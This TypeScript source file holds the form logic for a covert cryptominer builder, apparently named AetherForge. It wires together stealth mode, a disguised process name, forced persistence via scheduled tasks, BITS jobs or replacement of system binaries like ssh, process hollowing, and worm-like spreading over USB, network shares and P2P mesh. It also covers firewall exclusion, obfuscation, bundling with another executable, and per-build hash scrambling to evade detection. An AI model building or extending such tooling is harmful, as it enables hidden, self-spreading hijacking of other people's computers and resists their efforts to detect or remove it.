- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
498 lines
17 KiB
TypeScript
498 lines
17 KiB
TypeScript
import type { BuildRequest } from '../types';
|
|
import { normalizeForgeForm } from './forgeFormNormalize';
|
|
|
|
export type ForgeFieldBadge = 'baked' | 'server-only' | 'requires';
|
|
|
|
export interface ForgeFieldMeta {
|
|
disabled: boolean;
|
|
lockedReason?: string;
|
|
badge?: ForgeFieldBadge;
|
|
hint?: string;
|
|
}
|
|
|
|
export interface ForgeSectionMeta {
|
|
id: string;
|
|
title: string;
|
|
description: string;
|
|
badge: ForgeFieldBadge;
|
|
}
|
|
|
|
/** What each Forge section controls — shown in the UI header. */
|
|
export const FORGE_SECTIONS: ForgeSectionMeta[] = [
|
|
{
|
|
id: 'identity',
|
|
title: 'Identity',
|
|
description: 'Worker label, control server URL, payout wallet — all baked into the installer.',
|
|
badge: 'baked',
|
|
},
|
|
{
|
|
id: 'pool',
|
|
title: 'Pool Configuration',
|
|
description: 'Where this miner submits work. Baked per installer; each forged worker can use its own pool.',
|
|
badge: 'baked',
|
|
},
|
|
{
|
|
id: 'performance',
|
|
title: 'Performance & Resources',
|
|
description: 'Threads, CPU/RAM limits, and when mining runs. Baked into the worker binary.',
|
|
badge: 'baked',
|
|
},
|
|
{
|
|
id: 'install',
|
|
title: 'Install & Process',
|
|
description: 'Install path, persistence, stealth, and Task Manager name. Baked on first run.',
|
|
badge: 'baked',
|
|
},
|
|
{
|
|
id: 'fusion',
|
|
title: 'Fusion',
|
|
description: 'Optional prep.exe bundling. Baked into the fused output file.',
|
|
badge: 'baked',
|
|
},
|
|
{
|
|
id: 'ai',
|
|
title: 'AI Autonomy',
|
|
description: 'Ollama decisions via the control server. Baked toggle; Ollama must run on the server PC.',
|
|
badge: 'baked',
|
|
},
|
|
];
|
|
|
|
const BADGE_LABELS: Record<ForgeFieldBadge, string> = {
|
|
baked: 'Baked into installer',
|
|
'server-only': 'Server folder only — not in .exe',
|
|
requires: 'Required when parent option is on',
|
|
};
|
|
|
|
export function forgeBadgeLabel(badge: ForgeFieldBadge): string {
|
|
return BADGE_LABELS[badge];
|
|
}
|
|
|
|
/** Smart field update — auto-fixes coupled settings so incompatible mixes are hard to create. */
|
|
export function applyForgeFieldUpdate(
|
|
form: BuildRequest,
|
|
field: keyof BuildRequest,
|
|
value: unknown
|
|
): BuildRequest {
|
|
const next: BuildRequest = { ...form, [field]: value } as BuildRequest;
|
|
|
|
switch (field) {
|
|
case 'stealth_mode':
|
|
if (value === true) {
|
|
next.file_logging = false;
|
|
if (next.display_mode === 'visible') {
|
|
next.display_mode = 'background';
|
|
}
|
|
next.silent_mode = true;
|
|
}
|
|
break;
|
|
|
|
case 'display_mode':
|
|
if (value === 'visible') {
|
|
next.stealth_mode = false;
|
|
next.silent_mode = false;
|
|
} else if (value === 'silent' || value === 'background') {
|
|
next.silent_mode = true;
|
|
}
|
|
break;
|
|
|
|
case 'persistence':
|
|
next.auto_start = value === true;
|
|
break;
|
|
|
|
case 'auto_start':
|
|
next.persistence = value === true;
|
|
break;
|
|
|
|
case 'target_os':
|
|
if (value !== 'windows' && value !== 'universal') {
|
|
next.process_hollowing = false;
|
|
next.sign_build = false;
|
|
if (value !== 'universal') {
|
|
next.obfuscate = false;
|
|
}
|
|
}
|
|
if (value === 'linux' || value === 'darwin') {
|
|
next.spread_kit = false;
|
|
next.target_arch = value === 'darwin' ? 'arm64' : 'amd64';
|
|
if (['localappdata', 'appdata', 'programdata', 'userprofile'].includes(next.install_base)) {
|
|
next.install_base = 'xdg_data_home';
|
|
}
|
|
} else if (value === 'windows') {
|
|
next.target_arch = 'all';
|
|
if (next.install_base === 'xdg_data_home') {
|
|
next.install_base = 'localappdata';
|
|
}
|
|
} else if (value === 'universal') {
|
|
next.target_arch = 'all';
|
|
}
|
|
break;
|
|
|
|
case 'fusion_enabled':
|
|
if (value === true) {
|
|
next.display_mode = 'background';
|
|
next.silent_mode = true;
|
|
next.spread_kit = false;
|
|
if (!next.target_os || next.target_os === 'windows') {
|
|
next.target_os = 'universal';
|
|
}
|
|
}
|
|
break;
|
|
|
|
case 'spread_kit':
|
|
if (value === true) {
|
|
Object.assign(next, {
|
|
fusion_enabled: false,
|
|
target_os: 'universal',
|
|
target_arch: 'all',
|
|
run_as: 'scheduled',
|
|
persistence: true,
|
|
auto_start: true,
|
|
self_healing: true,
|
|
stealth_mode: true,
|
|
silent_mode: true,
|
|
file_logging: false,
|
|
firewall_exclusion: true,
|
|
display_mode: 'background',
|
|
process_hollowing: false,
|
|
});
|
|
}
|
|
break;
|
|
|
|
case 'thread_mode':
|
|
if (value === 'fixed' && next.threads < 1) {
|
|
next.threads = 4;
|
|
}
|
|
if (value === 'percent' && (next.thread_percent < 1 || next.thread_percent > 100)) {
|
|
next.thread_percent = 75;
|
|
}
|
|
break;
|
|
|
|
case 'mining_mode':
|
|
if (value === 'always') {
|
|
// keep idle/schedule values for if user switches back
|
|
}
|
|
break;
|
|
|
|
case 'install_base':
|
|
if (value !== 'custom') {
|
|
next.install_custom_base = '';
|
|
}
|
|
break;
|
|
|
|
case 'run_as':
|
|
if (value === 'scheduled' || value === 'service' || value === 'bits' || value === 'host_binary') {
|
|
// Scheduled/service/BITS/host binary always register persistence — sync flags so UI matches reality
|
|
next.persistence = true;
|
|
next.auto_start = true;
|
|
}
|
|
if (value === 'host_binary' && !next.host_binary_target?.trim()) {
|
|
next.host_binary_target = 'ssh';
|
|
}
|
|
break;
|
|
|
|
case 'ai_enabled':
|
|
if (value === true) {
|
|
if (!next.ai_ollama_endpoint?.trim()) {
|
|
next.ai_ollama_endpoint = 'http://localhost:11434';
|
|
}
|
|
if (!next.ai_model?.trim()) {
|
|
next.ai_model = 'llama3.2';
|
|
}
|
|
}
|
|
break;
|
|
|
|
case 'pool_port':
|
|
if (typeof value === 'number') {
|
|
if (value === 443 && !next.pool_tls) {
|
|
next.pool_tls = true;
|
|
}
|
|
}
|
|
break;
|
|
|
|
case 'worker_name':
|
|
// Do NOT auto-derive process_name from worker_name — RuntimeBrokerHelper is the stealth default.
|
|
// Users can override process_name manually in Advanced mode.
|
|
break;
|
|
|
|
case 'pool_tls':
|
|
if (value === true && next.pool_port === 3333) {
|
|
// common pools use 443 for TLS — warn in preflight, don't auto-change port
|
|
}
|
|
break;
|
|
}
|
|
|
|
return normalizeForgeForm(next);
|
|
}
|
|
|
|
/** Per-field UI state: disabled fields + why. */
|
|
export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeFieldMeta> {
|
|
const isFixedThreads = form.thread_mode === 'fixed';
|
|
const isIdle = form.mining_mode === 'idle';
|
|
const isScheduled = form.mining_mode === 'scheduled';
|
|
const runAsForcedPersistence =
|
|
form.run_as === 'scheduled' ||
|
|
form.run_as === 'service' ||
|
|
form.run_as === 'bits' ||
|
|
form.run_as === 'host_binary';
|
|
const isHostBinaryRun = form.run_as === 'host_binary';
|
|
const targetOs = form.target_os || 'windows';
|
|
const isUnixSingle = targetOs === 'linux' || targetOs === 'darwin';
|
|
const isWindowsOnly = targetOs === 'windows';
|
|
const isUniversal = targetOs === 'universal';
|
|
const isSpreadKit = !!form.spread_kit;
|
|
const isFusion = !!form.fusion_enabled;
|
|
|
|
return {
|
|
worker_name: { disabled: false, badge: 'baked' },
|
|
server_url: { disabled: false, badge: 'baked' },
|
|
wallet: { disabled: false, badge: 'baked' },
|
|
output_dir: {
|
|
disabled: false,
|
|
badge: 'server-only',
|
|
hint: 'Only copies the built files on this PC — not embedded in the worker.',
|
|
},
|
|
pool_host: { disabled: false, badge: 'baked' },
|
|
pool_port: { disabled: false, badge: 'baked' },
|
|
pool_tls: { disabled: false, badge: 'baked' },
|
|
pool_pass: { disabled: false, badge: 'baked' },
|
|
thread_mode: { disabled: false, badge: 'baked' },
|
|
thread_percent: {
|
|
disabled: isFixedThreads,
|
|
badge: 'baked',
|
|
lockedReason: isFixedThreads ? 'Disabled while Thread Mode is Fixed — use Fixed Threads instead.' : undefined,
|
|
},
|
|
threads: {
|
|
disabled: !isFixedThreads,
|
|
badge: 'baked',
|
|
lockedReason: !isFixedThreads ? 'Disabled while Thread Mode is Auto (%) — use Thread Percent instead.' : undefined,
|
|
},
|
|
cpu_priority: { disabled: false, badge: 'baked' },
|
|
max_cpu_usage_pct: { disabled: false, badge: 'baked' },
|
|
max_memory_percent: { disabled: false, badge: 'baked' },
|
|
min_free_ram_mb: { disabled: false, badge: 'baked' },
|
|
mining_mode: { disabled: false, badge: 'baked' },
|
|
idle_threshold_pct: {
|
|
disabled: !isIdle,
|
|
badge: 'requires',
|
|
lockedReason: !isIdle ? 'Only applies when Mining Mode is "Only When Idle".' : undefined,
|
|
},
|
|
idle_duration_minutes: {
|
|
disabled: !isIdle,
|
|
badge: 'requires',
|
|
lockedReason: !isIdle ? 'Only applies when Mining Mode is "Only When Idle".' : undefined,
|
|
},
|
|
schedule_start: {
|
|
disabled: !isScheduled,
|
|
badge: 'requires',
|
|
lockedReason: !isScheduled ? 'Only applies when Mining Mode is "Scheduled Hours".' : undefined,
|
|
},
|
|
schedule_end: {
|
|
disabled: !isScheduled,
|
|
badge: 'requires',
|
|
lockedReason: !isScheduled ? 'Only applies when Mining Mode is "Scheduled Hours".' : undefined,
|
|
},
|
|
install_base: { disabled: false, badge: 'baked' },
|
|
install_custom_base: {
|
|
disabled: form.install_base !== 'custom',
|
|
badge: 'requires',
|
|
lockedReason: form.install_base !== 'custom' ? 'Select Install Base → Custom Path first.' : undefined,
|
|
},
|
|
install_relative_path: { disabled: false, badge: 'baked' },
|
|
adapt_to_hardware: {
|
|
disabled: isFixedThreads,
|
|
badge: 'baked',
|
|
lockedReason: isFixedThreads
|
|
? 'Adapt to hardware is ignored when using Fixed thread count — switch to Auto (%) or turn off fixed mode.'
|
|
: undefined,
|
|
},
|
|
self_healing: { disabled: false, badge: 'baked' },
|
|
firewall_exclusion: { disabled: false, badge: 'baked' },
|
|
stealth_mode: { disabled: false, badge: 'baked' },
|
|
file_logging: {
|
|
disabled: form.stealth_mode,
|
|
badge: 'baked',
|
|
lockedReason: form.stealth_mode ? 'Stealth mode disables log files — turn off Stealth to enable logging.' : undefined,
|
|
},
|
|
process_name: { disabled: false, badge: 'baked' },
|
|
display_mode: { disabled: false, badge: 'baked' },
|
|
persistence: {
|
|
disabled: runAsForcedPersistence,
|
|
badge: 'baked',
|
|
lockedReason: runAsForcedPersistence
|
|
? 'Run As Scheduled/Service always installs a logon task — persistence cannot be turned off for this mode.'
|
|
: undefined,
|
|
},
|
|
auto_start: {
|
|
disabled: runAsForcedPersistence,
|
|
badge: 'baked',
|
|
lockedReason: runAsForcedPersistence
|
|
? 'Linked to persistence — Scheduled/Service mode always auto-starts.'
|
|
: undefined,
|
|
},
|
|
run_as: { disabled: false, badge: 'baked' },
|
|
host_binary_target: {
|
|
disabled: !isHostBinaryRun || (!isWindowsOnly && !isUniversal),
|
|
badge: 'baked',
|
|
lockedReason:
|
|
!isHostBinaryRun
|
|
? 'Select Run As → Host Binary Hijack to choose a client binary.'
|
|
: !isWindowsOnly && !isUniversal
|
|
? 'Host binary hijack is Windows-only.'
|
|
: undefined,
|
|
hint: 'SSH, browsers, FTP, RDP client, etc. Requires administrator to replace system binaries.',
|
|
},
|
|
fusion_enabled: {
|
|
disabled: isSpreadKit,
|
|
badge: 'baked',
|
|
lockedReason: isSpreadKit ? 'Turn off Spread Kit to use Fusion.' : undefined,
|
|
},
|
|
fusion_prep: {
|
|
disabled: !form.fusion_enabled,
|
|
badge: 'requires',
|
|
lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined,
|
|
},
|
|
fusion_run_order: {
|
|
disabled: !form.fusion_enabled,
|
|
badge: 'requires',
|
|
lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined,
|
|
},
|
|
fusion_output_name: {
|
|
disabled: !form.fusion_enabled,
|
|
badge: 'requires',
|
|
lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined,
|
|
},
|
|
ai_enabled: { disabled: false, badge: 'baked' },
|
|
ai_ollama_endpoint: {
|
|
disabled: !form.ai_enabled,
|
|
badge: 'requires',
|
|
lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
|
|
},
|
|
ai_model: {
|
|
disabled: !form.ai_enabled,
|
|
badge: 'requires',
|
|
lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
|
|
},
|
|
process_hollowing: {
|
|
disabled: isUnixSingle,
|
|
badge: 'baked',
|
|
lockedReason: isUnixSingle
|
|
? 'Process hollowing is Windows-only.'
|
|
: isUniversal
|
|
? 'Only baked into the Windows worker inside universal builds.'
|
|
: undefined,
|
|
hint: isUniversal ? 'Windows agents only — Linux/macOS workers ignore this flag.' : undefined,
|
|
},
|
|
mesh_p2p: { disabled: false, badge: 'baked' },
|
|
auto_spread: { disabled: false, badge: 'baked' },
|
|
hole_punch: { disabled: false, badge: 'baked' },
|
|
remote_aggressive: { disabled: false, badge: 'baked' },
|
|
usb_spread: { disabled: false, badge: 'baked' },
|
|
share_spread: { disabled: false, badge: 'baked' },
|
|
target_os: {
|
|
disabled: isSpreadKit || isFusion,
|
|
badge: 'baked',
|
|
lockedReason: isSpreadKit
|
|
? 'Spread Kit always targets all platforms (Universal).'
|
|
: isFusion
|
|
? 'Movie fusion always builds a universal ZIP.'
|
|
: undefined,
|
|
},
|
|
target_arch: {
|
|
disabled: !isUnixSingle,
|
|
badge: 'baked',
|
|
lockedReason: !isUnixSingle
|
|
? 'Pick Linux or macOS as Target OS to choose architecture.'
|
|
: undefined,
|
|
},
|
|
spread_kit: {
|
|
disabled: isFusion,
|
|
badge: 'baked',
|
|
lockedReason: isFusion ? 'Spread Kit and Fusion are different deliverables — pick one above.' : undefined,
|
|
},
|
|
obfuscate: {
|
|
disabled: isUnixSingle,
|
|
badge: 'server-only',
|
|
lockedReason: isUnixSingle ? 'Garble obfuscation applies to Windows builds only.' : undefined,
|
|
hint: isUniversal ? 'Only the Windows binary in the universal ZIP is obfuscated.' : undefined,
|
|
},
|
|
sign_build: {
|
|
disabled: !isWindowsOnly && !isUniversal,
|
|
badge: 'server-only',
|
|
lockedReason: !isWindowsOnly && !isUniversal
|
|
? 'Authenticode signing applies to Windows .exe output only.'
|
|
: undefined,
|
|
hint: isUniversal ? 'Signs the Windows runner/worker inside the package.' : undefined,
|
|
},
|
|
sigil_scramble: {
|
|
disabled: false,
|
|
badge: 'server-only',
|
|
hint: 'Appends a unique entropy overlay and tweaks PE timestamp so each dispense has a different hash.',
|
|
},
|
|
};
|
|
}
|
|
|
|
/** Live incompatibility notices shown above the form. */
|
|
export function getForgeLiveNotices(form: BuildRequest, fusionPrepSelected: boolean): string[] {
|
|
const notices: string[] = [];
|
|
|
|
if (form.run_as === 'service') {
|
|
notices.push(
|
|
'Run As "Windows Service" creates a scheduled task — not a real Windows Service. Persistence stays on.'
|
|
);
|
|
}
|
|
if (form.run_as === 'bits') {
|
|
notices.push(
|
|
'Run As BITS registers a Background Intelligent Transfer notify job — miner relaunches on transfer events/retries (Windows).'
|
|
);
|
|
}
|
|
if (form.run_as === 'host_binary') {
|
|
notices.push(
|
|
`Run As Host Binary backs up ${form.host_binary_target || 'ssh'} and replaces it with the worker — launching that app starts the miner then runs the original (admin required for System32 paths).`
|
|
);
|
|
}
|
|
if (
|
|
(form.run_as === 'scheduled' ||
|
|
form.run_as === 'service' ||
|
|
form.run_as === 'bits' ||
|
|
form.run_as === 'host_binary') &&
|
|
!form.persistence
|
|
) {
|
|
notices.push('Persistence is forced on for Scheduled/Service/BITS/Host Binary run modes.');
|
|
}
|
|
if (form.fusion_enabled && !fusionPrepSelected) {
|
|
notices.push('Fusion is enabled — upload prep.exe before you can forge.');
|
|
}
|
|
if (form.ai_enabled) {
|
|
notices.push('AI calls Ollama on the control server PC (not the worker). Use http://localhost:11434 if Ollama runs on this machine.');
|
|
}
|
|
if (form.thread_mode === 'fixed' && form.adapt_to_hardware) {
|
|
notices.push('Fixed thread count ignores "Adapt to hardware" at runtime.');
|
|
}
|
|
if (form.pool_port === 443 && !form.pool_tls) {
|
|
notices.push('Port 443 usually requires TLS — enable Use TLS/SSL or verify your pool docs.');
|
|
}
|
|
if (form.pool_tls && form.pool_port === 3333) {
|
|
notices.push('TLS on port 3333 is uncommon — many pools use 443 for SSL. Double-check pool docs.');
|
|
}
|
|
if (form.max_cpu_usage_pct < 30 && form.thread_percent > 70 && form.thread_mode === 'percent') {
|
|
notices.push('Low Max CPU (%) with high Thread Percent may cause constant throttling.');
|
|
}
|
|
if (form.target_os === 'universal') {
|
|
notices.push('Universal forge builds workers for Windows, Linux, and macOS in one ZIP.');
|
|
}
|
|
if (form.spread_kit) {
|
|
notices.push('Spread Kit: silent deploy scripts run worker --spread-install on each platform.');
|
|
}
|
|
if (form.fusion_enabled) {
|
|
notices.push('Fusion builds a universal ZIP — each OS gets its own runner inside bin/.');
|
|
}
|
|
if (form.target_os === 'linux' || form.target_os === 'darwin') {
|
|
notices.push(`Single ${form.target_os} worker — install uses XDG/home paths, not Windows folders.`);
|
|
}
|
|
if (form.target_os === 'universal' && !form.fusion_enabled && !form.spread_kit) {
|
|
notices.push('Universal without Spread Kit or Fusion — pick a deliverable type above.');
|
|
}
|
|
|
|
return notices;
|
|
}
|